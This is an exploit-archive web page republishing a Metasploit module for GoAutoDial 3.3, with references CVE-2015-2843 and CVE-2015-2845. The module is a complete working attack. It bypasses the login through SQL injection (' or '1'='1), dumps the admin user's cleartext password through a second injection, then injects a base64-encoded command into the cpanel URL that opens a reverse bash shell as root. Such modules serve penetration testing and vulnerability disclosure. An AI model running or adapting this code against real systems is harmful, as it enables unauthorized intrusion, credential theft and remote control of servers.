首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GoAutoDial 3.3 - Authentication Bypass / Command Injection (Metasploit)
来源:metasploit.com 作者:McCurley 发布时间:2017-07-06  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
      'Description'    => %q{
          This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris McCurley',  # Discovery & Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-2843'],
          ['CVE', '2015-2845']
        ],
      'Platform'       => %w{unix},
      'Arch'            => ARCH_CMD,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 21 2015'))
 
    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 443]),
        OptBool.new('SSL', [false, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end
 
 
  def check
    res = check_version()
    if res and res.body =~ /1421902800/
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end
 
  def check_version()
    uri = target_uri.path
 
    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'changelog.txt'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      }
    })
  end
 
  def sqli_auth_bypass()
    uri = target_uri.path
 
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      },
      'vars_post' => {
        'user_name'   => 'admin',
        'user_pass'   => '\'%20or%20\'1\'%3D\'1'
      }
    })
  end
 
  def sqli_admin_pass(cookies)
   uri = target_uri.path
 
   send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => cookies
      }
    })
  end
 
  #
  # Run the actual exploit
  #
  def execute_command()
 
    encoded = Rex::Text.encode_base64("#{payload.encoded}")
    params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
    uri = target_uri.path
 
    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => @cookie
      }
    })
  end
 
 
  def exploit()
    print_status("#{rhost}:#{rport} - Trying SQL injection...")
    res1 = sqli_auth_bypass()
 
    if res1 && res1.code == 200
      print_good('Authentication Bypass (SQLi) was successful')
    else
      print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
    end
 
    @cookie = res1.get_cookies
    print_status("#{rhost}:#{rport} - Dumping admin password...")
    res = sqli_admin_pass(@cookie)
 
    if res
      print_good(res.body)
    else
      print_error('Error: No creds returned, possible mitigations are in place.')
    end
    print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")
 
    execute_command()
  end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Humax HG100R 2.0.6 - Backup Fi
·Lepide Auditor Suite - 'create
·ActiveMQ < 5.14.0 - web shell
·rpcinfo Portmap DUMP Call Ampl
·Veritas/Symantec Backup Exec -
·IoT mDNS/DNS-SD QM Amplificati
·FreeBSD - 'setrlimit' Stack Cl
·Firefox 54.0.1 - Denial of Ser
·FreeBSD - 'FGPE' Stack Clash P
·Yaws 1.91 - Remote File Disclo
·FreeBSD - 'FGPU' Stack Clash P
·Easy File Sharing Web Server 7
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved